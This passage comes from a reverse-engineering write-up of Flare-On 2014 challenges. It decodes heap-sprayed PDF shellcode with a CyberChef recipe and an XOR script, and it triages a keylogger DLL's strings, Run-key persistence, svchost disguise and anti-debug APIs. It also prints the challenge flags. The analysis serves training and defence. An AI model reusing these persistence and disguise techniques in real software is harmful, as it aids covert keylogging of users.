&lt;code&gt;junk junk junk → malicious code&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It puts this data many times into memory&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Hundreds of copies are created.&lt;/li&gt;
&lt;li&gt;This is called &lt;strong&gt;heap spraying&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Why it does this&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Later, when Adobe Reader crashes due to a bug,&lt;br /&gt;
the program may jump to a random memory address.&lt;/li&gt;
&lt;li&gt;Because memory is full of attacker data,&lt;br /&gt;
it lands on the malicious code.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Carving Next Stage&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;After some code reading and research i found that &lt;code&gt;string_variable_4&lt;/code&gt; is the var which has next stage shellcode but it is encoded in some format in js so i did research and this is what i found,&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;unescape()&lt;/code&gt; function replaces any escape sequence with the character that it represents. Specifically, it replaces any escape sequence of the form &lt;code&gt;%XX&lt;/code&gt; or &lt;code&gt;%uXXXX&lt;/code&gt; (where &lt;code&gt;X&lt;/code&gt; represents one hexadecimal digit) with the character that has the hexadecimal value &lt;code&gt;XX&lt;/code&gt;/&lt;code&gt;XXXX&lt;/code&gt;. If the escape sequence is not a valid escape sequence (for example, if &lt;code&gt;%&lt;/code&gt; is followed by one or no hex digit), it is left as-is.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260125234050.png&quot; alt=&quot;Pasted image 20260125234050.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So to decode this i used cyberchef, and we have to convert the endianness because it is being written in heap so we will swap it by &lt;code&gt;word length of 8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;We will save this as &lt;code&gt;shellcode.bin&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260125233857.png&quot; alt=&quot;Pasted image 20260125233857.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CyberChef Recipe,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;[
  { &quot;op&quot;: &quot;Find / Replace&quot;,
    &quot;args&quot;: [{ &quot;option&quot;: &quot;Simple string&quot;, &quot;string&quot;: &quot;%u&quot; }, &quot;&quot;, true, false, true, false] },
  { &quot;op&quot;: &quot;Swap endianness&quot;,
    &quot;args&quot;: [&quot;Hex&quot;, 2, true] },
  { &quot;op&quot;: &quot;From Hex&quot;,
    &quot;args&quot;: [&quot;Auto&quot;],
    &quot;disabled&quot;: true }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Stage 2 Analyzing Shellcode&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type: data&lt;/li&gt;
&lt;li&gt;Size: 1 KB&lt;/li&gt;
&lt;li&gt;SHA256: 71d7690eaab011871f8e957c354e96baa16ed14ddcf719caf0776917b5eebe2d&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;I quickly check VT for this hash and only 1 out of 54 which means this can be obfuscated and some spoofy things,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260125234637.png&quot; alt=&quot;Pasted image 20260125234637.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For simplicity i used tool &lt;a href=&quot;https://github.com/mandiant/flare-floss&quot;&gt;flare-floss&lt;/a&gt; for intelligent string analysis and here is what i found,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~]
└─$ /opt/floss shellcode.bin --format sc32

INFO: floss: extracting static strings
finding decoding function features: 100%|█████████████████████████████████████████████████████████████████████| 1/1 [00:00&amp;lt;00:00, 126.37 functions/s, skipped 0 library functions]
INFO: floss.stackstrings: extracting stackstrings from 1 functions
INFO: floss.results: LoadLibraryA
INFO: floss.results: user32
INFO: floss.results: MessageBoxA
INFO: floss.results: OWNED!!!
INFO: floss.results: 2OWNED!!!
INFO: floss.results: OWNE
INFO: floss.results: ExitProcessb
extracting stackstrings: 100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00&amp;lt;00:00, 28.02 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 0 functions...
extracting tightstrings: 0 functions [00:00, ? functions/s]
INFO: floss.string_decoder: decoding strings
decoding strings: 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00&amp;lt;00:00, 85.55 functions/s]
INFO: floss: finished execution after 7.19 seconds
INFO: floss: rendering results


FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)

.
.
.

 ───────────────────────────
  FLOSS STATIC STRINGS (31)
 ───────────────────────────

+----------------------------------+
| FLOSS STATIC STRINGS: ASCII (31) |
+----------------------------------+

rIF%
xsq}
$~|C
.
.
.
hess
hProchExitT
T$@W


+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (0) |
+------------------------------------+


 ─────────────────────────
  FLOSS STACK STRINGS (7)
 ─────────────────────────

LoadLibraryA
user32
MessageBoxA
OWNED!!!
2OWNED!!!
OWNE
ExitProcessb

 ─────────────────────────
  FLOSS TIGHT STRINGS (0)
 ─────────────────────────
 ───────────────────────────
  FLOSS DECODED STRINGS (0)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;There are some interesting stack strings,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;LoadLibraryA&lt;/code&gt; : loads required Windows DLLs at runtime&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MessageBoxA&lt;/code&gt; : displays a message box (proof of code execution)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ExitProcess&lt;/code&gt; : - cleanly terminates the program after execution&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;And some string so we will look that later,&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Advance Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;To analyze this shellcode, i can use &lt;code&gt;cutter&lt;/code&gt; so i simply paste shellcode in &lt;code&gt;cutter&lt;/code&gt; and analyze the assembly,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260125235540.png&quot; alt=&quot;Pasted image 20260125235540.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In this disassembler, there are 2 functions, &lt;code&gt;fcn.00000000&lt;/code&gt; and &lt;code&gt;fcn.0000035e&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fcn.00000000&lt;/code&gt; looks very large and messy,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260125235749.png&quot; alt=&quot;Pasted image 20260125235749.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I analyze some part of &lt;code&gt;fcn.00000000&lt;/code&gt; and i found that it is loading some strings in stack for some purpose as we discuss earlier,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;![[Learning/DFIR &amp;amp; MARE/Reverse Engineering/Flare-On/2014/images/Pasted image 20260118140837.png]]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So i look at the &lt;code&gt;fcn.0000035e&lt;/code&gt; function and i found that,
&lt;ul&gt;
&lt;li&gt;It is &lt;strong&gt;building encrypted data on the stack and decrypting it in place using XOR&lt;/strong&gt;, so the real strings only exist in memory at runtime.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260126001620.png&quot; alt=&quot;Pasted image 20260126001620.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is the script that do whole decryption and transformation of hex and convert it to ascii,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# XOR operations
xor_pairs = [
    (0x32fba316, 0x32bece79),
    (0x48cf45ae, 0x2be12bc1),
    (0xd29f3610, 0xfffa4471),
    (0x0ca9a9f7, 0x60cfe984),
    (0x43a993be, 0x3798a3d2),
    (0x3b628a82, 0x4b11a4ef),
    (0xccc047d6, 0xffa469be),
    (0x3154caa3, 0x5265abd4)
]

# Calculate XOR results
xor_results = [val1 ^ val2 for val1, val2 in xor_pairs]
print(&quot;XOR Results:&quot;, [f&quot;0x{r:08x}&quot; for r in xor_results])

# Combine into single hex string
combined_hex = &apos;&apos;.join([f&quot;{result:08x}&quot; for result in xor_results])
print(f&quot;Combined: {combined_hex}&quot;)

# Convert to bytes and reverse
hex_bytes = bytes.fromhex(combined_hex)
reversed_bytes = hex_bytes[::-1]

# Convert to ASCII
output = reversed_bytes.decode(&apos;ascii&apos;, errors=&apos;replace&apos;)
print(f&quot;Output: {output}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ python decr.py

XOR Results: [&apos;0x00456d6f&apos;, &apos;0x632e6e6f&apos;, &apos;0x2d657261&apos;, &apos;0x6c664073&apos;, &apos;0x7431306c&apos;, &apos;0x70732e6d&apos;, &apos;0x33642e68&apos;, &apos;0x63316177&apos;]
Combined: 00456d6f632e6e6f2d6572616c6640737431306c70732e6d33642e6863316177
Output: wa1ch.d3m.spl01ts@flare-on.comE
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is the flag using static method,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;wa1ch.d3m.spl01ts@flare-on.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Advance Dynamic Analysis&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;0x00000359      call    fcn.0000035e ; fcn.0000035e ;  fcn.0000035e(int64_t arg1)
fcn.0000035e(int64_t arg1);
; arg int64_t arg1 @ rdi
; var int64_t var_65h @ stack - 0x65
; var int64_t var_48h @ stack - 0x48
; var int64_t var_40h @ stack - 0x40
0x0000035e      mov     edx, dword [rsp]
0x00000361      xor     dword [rdx + 0xb], 0x32fba316
0x00000368      push    0x32bece79
0x0000036d      xor     dword [rdx + 0x17], 0x48cf45ae
0x00000374      push    0x2be12bc1
0x00000379      xor     dword [rdx + 0x23], 0xd29f3610
0x00000380      push    0xfffffffffffa4471
0x00000385      xor     dword [rdx + 0x2f], 0xca9a9f7
0x0000038c      push    0x60cfe984
0x00000391      xor     dword [rdx + 0x3b], 0x43a993be
0x00000398      push    0x3798a3d2
0x0000039d      xor     dword [rdx + 0x47], 0x3b628a82
0x000003a4      push    0x4b11a4ef
0x000003a9      xor     dword [rdx + 0x53], 0xccc047d6
0x000003b0      push    0xffffffffffa469be
0x000003b5      xor     dword [rdx + 0x5f], 0x3154caa3
0x000003bc      push    0x5265abd4
0x000003c1      mov     ecx, esp
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This is how it works,&lt;/li&gt;
&lt;li&gt;Now you might think that doing XOR first and then push value which is kind of reverse Because,
&lt;ul&gt;
&lt;li&gt;It happens because &lt;strong&gt;the shellcode modifies its own instructions in memory&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The values you see in &lt;code&gt;push 32BECE79&lt;/code&gt; are &lt;strong&gt;encrypted operands&lt;/strong&gt;.
&lt;ul&gt;
&lt;li&gt;Before that instruction executes, the shellcode does:&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;xor dword ptr [edx+offset], key
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This XOR &lt;strong&gt;rewrites the PUSH instruction itself&lt;/strong&gt; in memory.&lt;/li&gt;
&lt;li&gt;So when execution later reaches that instruction, the CPU fetches &lt;strong&gt;the modified bytes&lt;/strong&gt;, not the original ones.&lt;/li&gt;
&lt;li&gt;That’s why:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;push 32BECE79 → becomes → push 00456D6F
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260126012407.png&quot; alt=&quot;Pasted image 20260126012407.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260118140837.png&quot; alt=&quot;Pasted image 20260118140837.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Flag Extraction&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;By putting breakpoint on &lt;code&gt;004013C1&lt;/code&gt; we can see that &lt;code&gt;esp&lt;/code&gt; is point to out flag so i do follow in dump for &lt;code&gt;esp&lt;/code&gt; and i got the flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;004013C1 | 8BCC                     | mov ecx,esp                             
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260118140846.png&quot; alt=&quot;Pasted image 20260118140846.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Alon with flag we get those strings also which we got using floss, which are used to prompt a message box with some random text,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;0019FF1C   77 61 31 63 68 2E 64 33 6D 2E 73 70 6C 30 31 74  wa1ch.d3m.spl01t
0019FF2C   73 40 66 6C 61 72 65 2D 6F 6E 2E 63 6F 6D 45 00  s@flare-on.comE
0019FF3C   5E 13 40 00 4F 57 4E 45 44 21 21 21 00 00 00 00  ^.@.OWNED
0019FF4C   4D 65 73 73 61 67 65 42 6F 78 41 00 75 73 65 72  MessageBoxA.
0019FF5C   33 32 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41  32..LoadLibraryA
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is out Flag, 😗&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;wa1ch.d3m.spl01ts@flare-on.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260126013350.png&quot; alt=&quot;Pasted image 20260126013350.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Challenge 5:&lt;/h1&gt;
&lt;h2&gt;Stage 1 Analyzing PE File&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type: 5get_it: PE32 executable for MS Windows 5.01 (DLL), Intel i386, 4 sections&lt;/li&gt;
&lt;li&gt;Size: 99KB&lt;/li&gt;
&lt;li&gt;SHA256: 2225b6966b9baae11ee5a8412201b30fd72c4a10e92727d92acf5ea6b5df9176&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Just quick VT search,
&lt;ul&gt;
&lt;li&gt;It gives &lt;strong&gt;48/69&lt;/strong&gt; hits so it is malicious and marked &lt;code&gt;KeyLogger&lt;/code&gt; so maybe some keystroke things will be there,&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128002927.png&quot; alt=&quot;Pasted image 20260128002927.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Detect it Easy is showing that it is written in &lt;code&gt;C++&lt;/code&gt; and compiled with Visual Studio (2010).
&lt;ul&gt;
&lt;li&gt;Also it is not packed because entropy is nomal,&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128002704.png&quot; alt=&quot;Pasted image 20260128002704.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128003244.png&quot; alt=&quot;Pasted image 20260128003244.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now we can analyze this binary with &lt;code&gt;pestudio&lt;/code&gt; to get more idea,&lt;/li&gt;
&lt;li&gt;In-fact, it gives lots of info such as,
&lt;ul&gt;
&lt;li&gt;Our sample is a &lt;code&gt;32 bit DLL&lt;/code&gt; file with entry point address of &lt;code&gt;0x0000B186&lt;/code&gt; and size of &lt;code&gt;101376 Bytes&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;And this binary compiled in &lt;code&gt;2014&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128005416.png&quot; alt=&quot;Pasted image 20260128005416.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Now some silly floss things to see any interesting strings,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;it quite big and lots things are there so let&apos;s break it down and show you some stuff.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;As i said previously, this are some keystrokes,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And to store them it impersonate the &lt;code&gt;svchost&lt;/code&gt; a legit process&apos;s log file which is &lt;code&gt;svchost.log&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;[SHIFT]
[RETURN]
[BACKSPACE]
[TAB]
[CTRL]
[DELETE]
[CAPS LOCK]
GetAsyncKeyState
svchost.log
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;It is a Keyboard + file write combo
&lt;ul&gt;
&lt;li&gt;capture keystroke → write to file → flush.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GetAsyncKeyState
WriteFile
CreateFileA/W
FlushFileBuffers
SetFilePointer
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Some registry keys used to do persistence with it&apos;s related Windows APIs,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
RegSetValueExA
RegCreateKeyA
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Something with DLL stuff,
&lt;ul&gt;
&lt;li&gt;It references &lt;code&gt;c:\windows\system32\svchost.dll&lt;/code&gt; and &lt;code&gt;svchost.log&lt;/code&gt; but there is no such file (Windows has &lt;code&gt;svchost.exe&lt;/code&gt; in that location).&lt;/li&gt;
&lt;li&gt;There is also &lt;code&gt;c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dll&lt;/code&gt; which means this file is most probably a DLL and should be executed like that.&lt;/li&gt;
&lt;li&gt;There are no parameters, so whatever this DLL is doing should be in &lt;code&gt;DllMain&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;c:\windows\system32\svchost.dll
c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Windows APIs related to Anti-Analysis Technique,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;IsDebuggerPresent
Sleep
QueryPerformanceCounter
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Finally, FLOSS decoded strings,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Courier New
DDNDNNNNDND
.
.
.
FLARE ON!
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So only based on these basic analysis, we take overview of malware that how it could behave which helps us in advance analysis.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Advance Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Now Buckle down because we jumping into IDA for some low level stuff,&lt;/li&gt;
&lt;li&gt;As i said previously, there is only one export which is &lt;code&gt;DLLEntryPoint&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;The Windows loader calls the DLL’s entry point defined in the PE Optional Header, which in MSVC-built DLLs is typically &lt;code&gt;DllMainCRTStartup&lt;/code&gt; (often labeled as &lt;code&gt;DLLEntryPoint&lt;/code&gt; by IDA).&lt;/li&gt;
&lt;li&gt;And this &lt;code&gt;DllMainCRTStartup&lt;/code&gt; will call &lt;code&gt;DLLMain&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Here is the flow,
----------------------
Windows Loader
   ↓
AddressOfEntryPoint
   ↓
__DllMainCRTStartup
   ↓
DllMain
----------------------

More Technically it do these process,

ntdll!LdrLoadDll
    ↓
ntdll!LdrpCallInitRoutine
    ↓
PE.OptionalHeader.AddressOfEntryPoint
    ↓
__DllMainCRTStartup   ← CRT
    ↓
DllMain               ← user code

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is the crux explanation,
&lt;ul&gt;
&lt;li&gt;When a DLL is loaded, &lt;code&gt;ntdll!LdrLoadDll&lt;/code&gt; maps it into memory, &lt;code&gt;LdrpCallInitRoutine&lt;/code&gt; decides initialization, the loader jumps to the PE’s &lt;code&gt;AddressOfEntryPoint&lt;/code&gt; (usually &lt;code&gt;__DllMainCRTStartup&lt;/code&gt;), which initializes the C runtime (TLS, heap, SEH, globals) and finally calls the user-defined &lt;code&gt;DllMain&lt;/code&gt; under the loader lock.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128010732.png&quot; alt=&quot;Pasted image 20260128010732.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is the &lt;code&gt;DLLMain&lt;/code&gt; Called,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128012223.png&quot; alt=&quot;Pasted image 20260128012223.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now this &lt;code&gt;DLLMain&lt;/code&gt; is calling other bunch of other functions,&lt;/li&gt;
&lt;li&gt;Here is function tree,
&lt;ul&gt;
&lt;li&gt;sub_1000A570() - Doing Persistence by adding key in Registry&lt;/li&gt;
&lt;li&gt;sub_1000A610() - Checking the Key already present of not&lt;/li&gt;
&lt;li&gt;sub_1000AD77() - nothing important..&lt;/li&gt;
&lt;li&gt;sub_1000A4C0() - Just adding some noise to delay the process
&lt;ul&gt;
&lt;li&gt;sub_10009EB0 - Switch Case with all ASCII Chars
&lt;ul&gt;
&lt;li&gt;sub_10009AF0() - Case of Char &apos;M&apos;
&lt;ul&gt;
&lt;li&gt;sub_10009AF0() - Hidden Function&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;sub_10001000&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128013233.png&quot; alt=&quot;Pasted image 20260128013233.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;&lt;code&gt;sub_1000A570&lt;/code&gt; function,&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;First i analyzed the &lt;code&gt;sub_1000A570&lt;/code&gt; function,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128013550.png&quot; alt=&quot;Pasted image 20260128013550.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Inside the function we encounter &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms724897%28v=vs.85%29.aspx&quot;&gt;RegOpenKeyEx&lt;/a&gt; that opens a registry key.&lt;/li&gt;
&lt;li&gt;Full registry key is a combination of &lt;code&gt;hKey&lt;/code&gt; and &lt;code&gt;lpSubKey&lt;/code&gt;. &lt;code&gt;hKey&lt;/code&gt; can be one of the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms724836%28v=vs.85%29.aspx&quot;&gt;predefined keys&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;The constants for the predefined keys needed a bit of googling because the MSDN page didn&apos;t list them. Here they are:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;| Key                 | Constant |
|---------------------|----------|
| HKEY_CLASSES_ROOT   |    0     |
| HKEY_CURRENT_USER   |    1     |
| HKEY_LOCAL_MACHINE  |    2     |
| HKEY_USERS          |    3     |
| HKEY_CURRENT_CONFIG |    5     |
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;v3 = RegOpenKeyExA(HKEY_LOCAL_MACHINE, &quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;, 0, 1u, &amp;amp;phkResult);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is the arguments and if we map with MSDN function then it looks like this,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;LSTATUS RegOpenKeyExA(
  [in]           HKEY   hKey,        // HKEY_LOCAL_MACHINE (0x80000002)
  [in, optional] LPCSTR lpSubKey,     // &quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;
  [in]           DWORD  ulOptions,    // 0
  [in]           REGSAM samDesired,   // KEY_QUERY_VALUE (0x0001)
  [out]          PHKEY  phkResult     // &amp;amp;phkResult
);

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So if we move further,&lt;/li&gt;
&lt;li&gt;If function succeeds it will return &lt;code&gt;ERROR_SUCCESS&lt;/code&gt; which is 0 according to &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382%28v=vs.85%29.aspx&quot;&gt;this page&lt;/a&gt;, otherwise it will return another error code.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;db &apos;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&apos;,0&lt;/code&gt; in &lt;code&gt;.rdata&lt;/code&gt; section.&lt;/li&gt;
&lt;li&gt;The binary will check if it has access to registry at that path.&lt;/li&gt;
&lt;li&gt;If so then the return value (in eax) will be 0 and it will jump right (JZ will succeed).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260128015409.png&quot; alt=&quot;Pasted image 20260128015409.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;v3 = RegQueryValueExA(phkResult, &quot;svchost&quot;, 0, 0, Data, &amp;amp;cbData);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is the arguments and if we map with MSDN function then it looks like this,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;LSTATUS RegQueryValueExA(
  [in]                HKEY    hKey,        // phkResult
  [in, optional]      LPCSTR  lpValueName, // &quot;svchost&quot;
                      LPDWORD lpReserved,  // 0
  [out, optional]     LPDWORD lpType,      // 0
  [out, optional]     LPBYTE  lpData,      // Data
  [in, out, optional] LPDWORD lpcbData     // &amp;amp;cbData
);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms724911%28v=vs.85%29.aspx&quot;&gt;RegQueryValueEx&lt;/a&gt; checks if there is a registry key at an open path.&lt;/li&gt;
&lt;li&gt;It is looking for a registry key named &lt;code&gt;svchost&lt;/code&gt; at that path. If such key exists, function will return 0.&lt;/li&gt;
&lt;li&gt;In this case, it returned 2 which stands for &lt;code&gt;ERROR_FILE_NOT_FOUND&lt;/code&gt; meaning there was no such key.&lt;/li&gt;
&lt;li&gt;Then it will call &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms724837%28v=vs.85%29.aspx&quot;&gt;RegCloseKey&lt;/a&gt; and closes the open registry path. This function&apos;s return value is saved in &lt;code&gt;var_110&lt;/code&gt; (we will need it later):&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;|           Condition          |         Return Value          |
|------------------------------|-------------------------------|
|Registry key cannot be opened |               1               |
|Registry key does not exist   |               2               |
|Registry key exists           | 1000A6BB or DllMain(x,x,x)+3B |
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This DLL is &lt;strong&gt;self-installing malware&lt;/strong&gt; that checks whether it already has persistence, installed itself if not, disguises itself as &lt;code&gt;svchost&lt;/code&gt;, registers itself to run at every system startup via the Windows Run registry key, executes itself using &lt;code&gt;rundll32&lt;/code&gt;, hides its console, and then enters an infinite loop performing its main malicious activity.&lt;/li&gt;
&lt;li&gt;Now it calls &lt;code&gt;sub_1000A610&lt;/code&gt;,&lt;/li&gt;
